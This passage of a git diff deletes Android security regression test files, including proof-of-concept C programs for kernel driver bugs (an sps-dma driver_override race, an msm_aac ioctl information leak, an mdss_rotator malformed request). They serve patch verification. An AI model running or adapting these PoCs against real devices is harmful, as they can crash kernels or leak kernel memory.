-  CAD_DEVICE_PATH_TX,    /* For Encoding session*/
-  CAD_DEVICE_PATH_RX_TX, /* For Voice call */
-  CAD_DEVICE_PATH_LB,    /* For loopback (FM Analog)*/
-  CAD_DEVICE_PATH_MAX
-};
-
-struct cad_devices_type {
-  uint32_t rx_device;
-  uint32_t tx_device;
-  enum cad_device_path_type pathtype;
-};
-
-struct msm_cad_device_config {
-  struct cad_devices_type device;
-  uint32_t ear_mute;
-  uint32_t mic_mute;
-};
-
-#define CAD_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_cad_device_config *)
-
-#define SND_METHOD_VOICE 0
-#define SND_METHOD_MIDI 4
-
-struct msm_snd_volume_config {
-  uint32_t device;
-  uint32_t method;
-  uint32_t volume;
-};
-
-#define SND_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_snd_volume_config *)
-
-struct msm_cad_volume_config {
-  struct cad_devices_type device;
-  uint32_t method;
-  uint32_t volume;
-};
-
-#define CAD_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_cad_volume_config *)
-
-/* Returns the number of SND endpoints supported. */
-
-#define SND_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
-
-struct msm_snd_endpoint {
-  int id;        /* input and output */
-  char name[64]; /* output only */
-};
-
-/* Takes an index between 0 and one less than the number returned by
- * SND_GET_NUM_ENDPOINTS, and returns the SND index and name of a
- * SND endpoint.  On input, the .id field contains the number of the
- * endpoint, and on exit it contains the SND index, while .name contains
- * the description of the endpoint.
- */
-
-#define SND_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_snd_endpoint *)
-
-#define SND_AVC_CTL _IOW(SND_IOCTL_MAGIC, 6, unsigned *)
-#define SND_AGC_CTL _IOW(SND_IOCTL_MAGIC, 7, unsigned *)
-
-/*return the number of CAD endpoints supported. */
-
-#define CAD_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
-
-struct msm_cad_endpoint {
-  int id;        /* input and output */
-  char name[64]; /* output only */
-};
-
-/* Takes an index between 0 and one less than the number returned by
- * SND_GET_NUM_ENDPOINTS, and returns the CAD index and name of a
- * CAD endpoint.  On input, the .id field contains the number of the
- * endpoint, and on exit it contains the SND index, while .name contains
- * the description of the endpoint.
- */
-
-#define CAD_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_cad_endpoint *)
-
-struct msm_audio_pcm_config {
-  uint32_t pcm_feedback; /* 0 - disable > 0 - enable */
-  uint32_t buffer_count; /* Number of buffers to allocate */
-  uint32_t buffer_size;  /* Size of buffer for capturing of
-                            PCM samples */
-};
-
-#define AUDIO_EVENT_SUSPEND 0
-#define AUDIO_EVENT_RESUME 1
-#define AUDIO_EVENT_WRITE_DONE 2
-#define AUDIO_EVENT_READ_DONE 3
-#define AUDIO_EVENT_STREAM_INFO 4
-#define AUDIO_EVENT_BITSTREAM_ERROR_INFO 5
-
-#define AUDIO_CODEC_TYPE_MP3 0
-#define AUDIO_CODEC_TYPE_AAC 1
-
-struct msm_audio_bitstream_info {
-  uint32_t codec_type;
-  uint32_t chan_info;
-  uint32_t sample_rate;
-  uint32_t bit_stream_info;
-  uint32_t bit_rate;
-  uint32_t unused[3];
-};
-
-struct msm_audio_bitstream_error_info {
-  uint32_t dec_id;
-  uint32_t err_msg_indicator;
-  uint32_t err_type;
-};
-
-union msm_audio_event_payload {
-  struct msm_audio_aio_buf aio_buf;
-  struct msm_audio_bitstream_info stream_info;
-  struct msm_audio_bitstream_error_info error_info;
-  int reserved;
-};
-
-struct msm_audio_event {
-  int event_type;
-  int timeout_ms;
-  union msm_audio_event_payload event_payload;
-};
-
-#define MSM_SNDDEV_CAP_RX 0x1
-#define MSM_SNDDEV_CAP_TX 0x2
-#define MSM_SNDDEV_CAP_VOICE 0x4
-
-struct msm_snd_device_info {
-  uint32_t dev_id;
-  uint32_t dev_cap; /* bitmask describe capability of device */
-  char dev_name[64];
-};
-
-struct msm_snd_device_list {
-  uint32_t num_dev; /* Indicate number of device info to be retrieved */
-  struct msm_snd_device_info *list;
-};
-
-struct msm_dtmf_config {
-  uint16_t path;
-  uint16_t dtmf_hi;
-  uint16_t dtmf_low;
-  uint16_t duration;
-  uint16_t tx_gain;
-  uint16_t rx_gain;
-  uint16_t mixing;
-};
-
-#define AUDIO_ROUTE_STREAM_VOICE_RX 0
-#define AUDIO_ROUTE_STREAM_VOICE_TX 1
-#define AUDIO_ROUTE_STREAM_PLAYBACK 2
-#define AUDIO_ROUTE_STREAM_REC 3
-
-struct msm_audio_route_config {
-  uint32_t stream_type;
-  uint32_t stream_id;
-  uint32_t dev_id;
-};
-
-#define AUDIO_MAX_EQ_BANDS 12
-
-struct msm_audio_eq_band {
-  uint16_t band_idx;       /* The band index, 0 .. 11 */
-  uint32_t filter_type;    /* Filter band type */
-  uint32_t center_freq_hz; /* Filter band center frequency */
-  uint32_t filter_gain;    /* Filter band initial gain (dB) */
-  /* Range is +12 dB to -12 dB with 1dB increments. */
-  uint32_t q_factor;
-} __attribute__((packed));
-
-struct msm_audio_eq_stream_config {
-  uint32_t enable; /* Number of consequtive bands specified */
-  uint32_t num_bands;
-  struct msm_audio_eq_band eq_bands[AUDIO_MAX_EQ_BANDS];
-} __attribute__((packed));
-
-struct msm_acdb_cmd_device {
-  uint32_t command_id;
-  uint32_t device_id;
-  uint32_t network_id;
-  uint32_t sample_rate_id;     /* Actual sample rate value */
-  uint32_t interface_id;       /* See interface id's above */
-  uint32_t algorithm_block_id; /* See enumerations above */
-  uint32_t total_bytes;        /* Length in bytes used by buffer */
-  uint32_t *phys_buf;          /* Physical Address of data */
-};
-
-struct msm_hwacc_data_config {
-  __u32 buf_size;
-  __u32 num_buf;
-  __u32 num_channels;
-  __u8 channel_map[8];
-  __u32 sample_rate;
-  __u32 bits_per_sample;
-};
-
-struct msm_hwacc_buf_cfg {
-  __u32 input_len;
-  __u32 output_len;
-};
-
-struct msm_hwacc_buf_avail {
-  __u32 input_num_avail;
-  __u32 output_num_avail;
-};
-
-struct msm_hwacc_effects_config {
-  struct msm_hwacc_data_config input;
-  struct msm_hwacc_data_config output;
-  struct msm_hwacc_buf_cfg buf_cfg;
-  __u32 meta_mode_enabled;
-  __u32 overwrite_topology;
-  __s32 topology;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/poc.c b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
deleted file mode 100644
index 0807183..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/poc.c
+++ /dev/null
@@ -1,114 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <string.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-
-#include "local_poc.h"
-
-#define MAX_THREAD 1
-int fd;
-int cmd;
-int status[MAX_THREAD];
-char *buf;
-
-void *threadEntry(void *arg) {
-  int ret;
-  int index = (int)(unsigned long)arg;
-
-  if (index < 0 || index >= MAX_THREAD) goto failed;
-
-  status[index] = 1;
-
-  while (cmd == 0) {
-    usleep(10);
-  }
-
-  if (cmd == -1) goto failed;
-
-  usleep(10);
-  write(fd, buf, 64);
-failed:
-  status[index] = 2;
-  return NULL;
-}
-
-int main(int argc, char **argv) {
-  int ret, i;
-  pthread_t tid[MAX_THREAD];
-  int pc = 2;
-
-  int count = 0;
-
-  while (pc-- > 0) fork();
-
-  buf = (char *)malloc(4096);
-  if (!buf) return -1;
-
-  memset(buf, 0x0, 4096);
-  for (i = 0; i < 62; i++) buf[i] = 'g';
-
-retry:
-  cmd = 0;
-  for (i = 0; i < MAX_THREAD; i++) status[i] = 0;
-
-  fd = open("/sys/devices/soc/7544000.qcom,sps-dma/driver_override", O_WRONLY);
-  if (fd < 0) {
-    return -1;
-  }
-
-  for (i = 0; i < MAX_THREAD; i++) {
-    ret = pthread_create(&tid[i], NULL, threadEntry, (void *)(unsigned long)i);
-    if (ret != 0) {
-      cmd = -1;
-      goto failed;
-    }
-  }
-
-  while (status[0] != 1) {
-    usleep(50);
-  }
-
-  cmd = 1;
-  usleep(10);
-  ret = write(fd, buf, 64);
-  while (status[0] != 2) {
-    usleep(50);
-  }
-
-failed:
-  count++;
-  close(fd);
-  if (count < 1000) {
-    goto retry;
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
deleted file mode 100644
index 4d6f4fc..0000000
--- a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := Bug-35764875

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35764875/poc.c b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
deleted file mode 100644
index b099685..0000000
--- a/hostsidetests/security/securityPatch/Bug-35764875/poc.c
+++ /dev/null
@@ -1,128 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-
-#include <android/log.h>
-#include <jni.h>
-#include <linux/kdev_t.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <net/if.h>
-#include <pthread.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h> /* See NOTES */
-#include <unistd.h>
-
-typedef unsigned int __u32;
-typedef unsigned char __u8;
-typedef signed int s32;
-typedef unsigned int u32;
-typedef unsigned short u16;
-
-typedef u32 compat_uptr_t;
-struct msm_audio_aio_buf32 {
-  compat_uptr_t buf_addr;
-  u32 buf_len;
-  u32 data_len;
-  compat_uptr_t private_data;
-  u16 mfield_sz; /*only useful for data has meta field */
-};
-
-struct msm_audio_bitstream_info32 {
-  u32 codec_type;
-  u32 chan_info;
-  u32 sample_rate;
-  u32 bit_stream_info;
-  u32 bit_rate;
-  u32 unused[3];
-};
-
-struct msm_audio_bitstream_error_info32 {
-  u32 dec_id;
-  u32 err_msg_indicator;
-  u32 err_type;
-};
-
-union msm_audio_event_payload32 {
-  struct msm_audio_aio_buf32 aio_buf;
-  struct msm_audio_bitstream_info32 stream_info;
-  struct msm_audio_bitstream_error_info32 error_info;
-  s32 reserved;
-};
-
-struct msm_audio_event32 {
-  s32 event_type;
-  s32 timeout_ms;
-  union msm_audio_event_payload32 event_payload;
-};
-
-void print_bytes(u32* buf, size_t size) {
-  size_t i;
-  for (i = 0; i < size; i++) {
-    printf("%08x", i, (unsigned int)buf[i]);
-  }
-  printf("\n");
-}
-
-#define AUDIO_IOCTL_MAGIC 'a'
-#define AUDIO_GET_EVENT_32 _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event32)
-int main(int argc, char* argv[]) {
-  int trycount = 0;
-  int fd;
-  pthread_t tid1, tid2;
-  int ret = 0;
-  struct msm_audio_event32 event32, event32_dup;
-
-  fd = open("/dev/msm_aac", O_NONBLOCK | O_RDWR, 0660);
-
-  if (fd < 0) {
-    perror("open");
-    return -1;
-  }
-
-  memset(&event32_dup, 0, sizeof(event32_dup));
-  event32_dup.timeout_ms = 1;
-
-  for (int i = 0;i < 500; i++) {
-    memcpy(&event32, &event32_dup, sizeof(event32_dup));
-    ret = ioctl(fd, AUDIO_GET_EVENT_32, &event32);
-
-    if (memcmp(&event32, &event32_dup, sizeof(event32)) != 0) {
-      printf("information leaked, trycount=%d, rc=%d, event_type=%d\n",
-             trycount, ret, event32.event_type);
-      print_bytes((u32*)&event32, sizeof(event32) / sizeof(u32));
-    }
-
-    trycount++;
-
-    usleep(1000);
-  }
-
-  close(fd);
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
deleted file mode 100644
index 8289311..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := Bug-35950388

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-LOCAL_C_INCLUDES += include

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
deleted file mode 100644
index b96e307..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS     8
-#define _IOC_TYPEBITS   8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS  14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS   2
-#endif
-
-#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT    0
-#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE      0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE     1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ      2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
-        (((dir)  << _IOC_DIRSHIFT) | \
-         ((type) << _IOC_TYPESHIFT) | \
-         ((nr)   << _IOC_NRSHIFT) | \
-         ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-
-
-struct mult_factor {
-        uint32_t numer;
-        uint32_t denom;
-};
-
-struct mdp_rotation_buf_info {
-        uint32_t width;
-        uint32_t height;
-        uint32_t format;
-        struct mult_factor comp_ratio;
-};
-
-struct mdp_rotation_config {
-        uint32_t        version;
-        uint32_t        session_id;
-        struct mdp_rotation_buf_info        input;
-        struct mdp_rotation_buf_info        output;
-        uint32_t        frame_rate;
-        uint32_t        flags;
-        uint32_t        reserved[6];
-};
-
-
-struct mdp_rect {
-        uint32_t x;
-        uint32_t y;
-        uint32_t w;
-        uint32_t h;
-};
-
-
-
-
-struct mdp_layer_plane {
-        /* DMA buffer file descriptor information. */
-        int fd;
-
-        /* Pixel offset in the dma buffer. */
-        uint32_t offset;
-
-        /* Number of bytes in one scan line including padding bytes. */
-        uint32_t stride;
-};
-
-#define MAX_PLANES        4
-
-
-struct mdp_layer_buffer {
-        /* layer width in pixels. */
-        uint32_t width;
-
-        /* layer height in pixels. */
-        uint32_t height;
-
-        /*
-         * layer format in DRM-style fourcc, refer drm_fourcc.h for
-         * standard formats
-         */
-        uint32_t format;
-
-        /* plane to hold the fd, offset, etc for all color components */
-        struct mdp_layer_plane planes[MAX_PLANES];
-
-        /* valid planes count in layer planes list */
-        uint32_t plane_count;
-
-        /* compression ratio factor, value depends on the pixel format */
-        struct mult_factor comp_ratio;
-
-        /*
-         * SyncFence associated with this buffer. It is used in two ways.
-         *
-         * 1. Driver waits to consume the buffer till producer signals in case
-         * of primary and external display.
-         *
-         * 2. Writeback device uses buffer structure for output buffer where
-         * driver is producer. However, client sends the fence with buffer to
-         * indicate that consumer is still using the buffer and it is not ready
-         * for new content.
-         */
-        int         fence;
-
-        /* 32bits reserved value for future usage. */
-        uint32_t reserved;
-};
-
-
-struct mdp_rotation_item {
-        /* rotation request flag */
-        uint32_t        flags;
-
-        /* Source crop rectangle */
-        struct mdp_rect        src_rect;
-
-        /* Destination rectangle */
-        struct mdp_rect        dst_rect;
-
-        /* Input buffer for the request */
-        struct mdp_layer_buffer        input;
-
-        /* The output buffer for the request */
-        struct mdp_layer_buffer        output;
-
-        /*
-          * DMA pipe selection for this request by client:
-          * 0: DMA pipe 0
-          * 1: DMA pipe 1
-          * or MDSS_ROTATION_HW_ANY if client wants
-          * driver to allocate any that is available
-          */
-        uint32_t        pipe_idx;
-
-        /*
-          * Write-back block selection for this request by client:
-          * 0: Write-back block 0
-          * 1: Write-back block 1
-          * or MDSS_ROTATION_HW_ANY if client wants
-          * driver to allocate any that is available
-          */
-        uint32_t        wb_idx;
-
-        /* Which session ID is this request scheduled on */
-        uint32_t        session_id;
-
-        /* 32bits reserved value for future usage */
-        uint32_t        reserved[6];
-};
-
-struct mdp_rotation_request {
-        /* 32bit version indicates the request structure */
-        uint32_t        version;
-
-        uint32_t        flags;
-
-        /* Number of rotation request items in the list */
-        uint32_t        count;
-
-        /* Pointer to a list of rotation request items */
-        struct mdp_rotation_item __user        *list;
-
-        /* 32bits reserved value for future usage*/
-        uint32_t        reserved[6];
-};
-
-#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
-
-/* open a rotation session */
-#define MDSS_ROTATION_OPEN \
-        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
-
-/* change the rotation session configuration */
-#define MDSS_ROTATION_CONFIG \
-        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
-
-/* queue the rotation request */
-#define MDSS_ROTATION_REQUEST \
-        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 3, struct mdp_rotation_request *)
-
-/* close a rotation session with the specified rotation session ID */
-#define MDSS_ROTATION_CLOSE        _IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
-
-
-
-
-#define MDP_IMGTYPE_END 0x100
-#define MDP_IMGTYPE2_START 0x10000
-
-enum {
-        MDP_RGB_565,      /* RGB 565 planer */
-        MDP_XRGB_8888,    /* RGB 888 padded */
-        MDP_Y_CBCR_H2V2,  /* Y and CbCr, pseudo planer w/ Cb is in MSB */
-        MDP_Y_CBCR_H2V2_ADRENO,
-        MDP_ARGB_8888,    /* ARGB 888 */
-        MDP_RGB_888,      /* RGB 888 planer */
-        MDP_Y_CRCB_H2V2,  /* Y and CrCb, pseudo planer w/ Cr is in MSB */
-        MDP_YCRYCB_H2V1,  /* YCrYCb interleave */
-        MDP_CBYCRY_H2V1,  /* CbYCrY interleave */
-        MDP_Y_CRCB_H2V1,  /* Y and CrCb, pseduo planer w/ Cr is in MSB */
-        MDP_Y_CBCR_H2V1,   /* Y and CrCb, pseduo planer w/ Cr is in MSB */
-        MDP_Y_CRCB_H1V2,
-        MDP_Y_CBCR_H1V2,
-        MDP_RGBA_8888,    /* ARGB 888 */
-        MDP_BGRA_8888,          /* ABGR 888 */
-        MDP_RGBX_8888,          /* RGBX 888 */
-        MDP_Y_CRCB_H2V2_TILE,  /* Y and CrCb, pseudo planer tile */
-        MDP_Y_CBCR_H2V2_TILE,  /* Y and CbCr, pseudo planer tile */
-        MDP_Y_CR_CB_H2V2,  /* Y, Cr and Cb, planar */
-        MDP_Y_CR_CB_GH2V2,  /* Y, Cr and Cb, planar aligned to Android YV12 */
-        MDP_Y_CB_CR_H2V2,  /* Y, Cb and Cr, planar */
-        MDP_Y_CRCB_H1V1,  /* Y and CrCb, pseduo planer w/ Cr is in MSB */
-        MDP_Y_CBCR_H1V1,  /* Y and CbCr, pseduo planer w/ Cb is in MSB */
-        MDP_YCRCB_H1V1,   /* YCrCb interleave */
-        MDP_YCBCR_H1V1,   /* YCbCr interleave */
-        MDP_BGR_565,      /* BGR 565 planer */
-        MDP_BGR_888,      /* BGR 888 */
-        MDP_Y_CBCR_H2V2_VENUS,
-        MDP_BGRX_8888,   /* BGRX 8888 */
-        MDP_RGBA_8888_TILE,          /* RGBA 8888 in tile format */
-        MDP_ARGB_8888_TILE,          /* ARGB 8888 in tile format */
-        MDP_ABGR_8888_TILE,          /* ABGR 8888 in tile format */
-        MDP_BGRA_8888_TILE,          /* BGRA 8888 in tile format */
-        MDP_RGBX_8888_TILE,          /* RGBX 8888 in tile format */
-        MDP_XRGB_8888_TILE,          /* XRGB 8888 in tile format */
-        MDP_XBGR_8888_TILE,          /* XBGR 8888 in tile format */
-        MDP_BGRX_8888_TILE,          /* BGRX 8888 in tile format */
-        MDP_YCBYCR_H2V1,  /* YCbYCr interleave */
-        MDP_RGB_565_TILE,          /* RGB 565 in tile format */
-        MDP_BGR_565_TILE,          /* BGR 565 in tile format */
-        MDP_ARGB_1555,        /*ARGB 1555*/
-        MDP_RGBA_5551,        /*RGBA 5551*/
-        MDP_ARGB_4444,        /*ARGB 4444*/
-        MDP_RGBA_4444,        /*RGBA 4444*/
-        MDP_RGB_565_UBWC,
-        MDP_RGBA_8888_UBWC,
-        MDP_Y_CBCR_H2V2_UBWC,
-        MDP_RGBX_8888_UBWC,
-        MDP_Y_CRCB_H2V2_VENUS,
-        MDP_IMGTYPE_LIMIT,
-        MDP_RGB_BORDERFILL,        /* border fill pipe */
-        MDP_XRGB_1555,
-        MDP_RGBX_5551,
-        MDP_XRGB_4444,
-        MDP_RGBX_4444,
-        MDP_ABGR_1555,
-        MDP_BGRA_5551,
-        MDP_XBGR_1555,
-        MDP_BGRX_5551,
-        MDP_ABGR_4444,
-        MDP_BGRA_4444,
-        MDP_XBGR_4444,
-        MDP_BGRX_4444,
-        MDP_ABGR_8888,
-        MDP_XBGR_8888,
-        MDP_RGBA_1010102,
-        MDP_ARGB_2101010,
-        MDP_RGBX_1010102,
-        MDP_XRGB_2101010,
-        MDP_BGRA_1010102,
-        MDP_ABGR_2101010,
-        MDP_BGRX_1010102,
-        MDP_XBGR_2101010,
-        MDP_RGBA_1010102_UBWC,
-        MDP_RGBX_1010102_UBWC,
-        MDP_Y_CBCR_H2V2_P010,
-        MDP_Y_CBCR_H2V2_TP10_UBWC,
-        MDP_CRYCBY_H2V1,  /* CrYCbY interleave */
-        MDP_IMGTYPE_LIMIT1 = MDP_IMGTYPE_END,
-        MDP_FB_FORMAT = MDP_IMGTYPE2_START,    /* framebuffer format */
-        MDP_IMGTYPE_LIMIT2 /* Non valid image type after this enum */
-};
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/poc.c b/hostsidetests/security/securityPatch/Bug-35950388/poc.c
deleted file mode 100644
index c084a47..0000000
--- a/hostsidetests/security/securityPatch/Bug-35950388/poc.c
+++ /dev/null
@@ -1,95 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#define GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-int fd;
-int id;
-
-int main(int argc, char **argv) {
-  int ret, i, count;
-  struct mdp_rotation_request req;
-  struct mdp_rotation_item item;
-
-  struct mdp_rotation_config config;
-
-  fd = open("/dev/mdss_rotator", O_RDONLY, 0);
-  if (fd < 0) {
-    return -1;
-  }
-
-  config.input.format = MDP_Y_CBCR_H2V2;
-  config.output.format = MDP_Y_CBCR_H2V2;
-  config.input.height = 4;
-  config.input.width = 4;
-  config.output.height = 4;
-  config.output.width = 4;
-  config.flags = 0;
-  ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
-  if (ret < 0) {
-    goto failed;
-  } else {
-    id = config.session_id;
-  }
-
-  item.wb_idx = 0xFFFFFFFF;
-  item.pipe_idx = item.wb_idx;
-  item.session_id = id;
-
-  item.src_rect.w = config.input.width;
-  item.src_rect.h = config.input.height;
-  item.input.format = config.input.format;
-
-  item.dst_rect.w = config.output.width;
-  item.dst_rect.h = config.output.height;
-  item.output.format = config.output.format;
-
-  item.src_rect.x = 1;
-  item.src_rect.y = 1;
-  item.dst_rect.x = 1;
-  item.dst_rect.y = 1;
-
-  item.input.width = 8;
-  item.input.height = 8;
-  item.output.height = 8;
-  item.output.width = 8;
-
-  item.input.plane_count = 0x0000FFFF;
-  req.count = 1;
-  req.list = &item;
-  req.flags = 0;
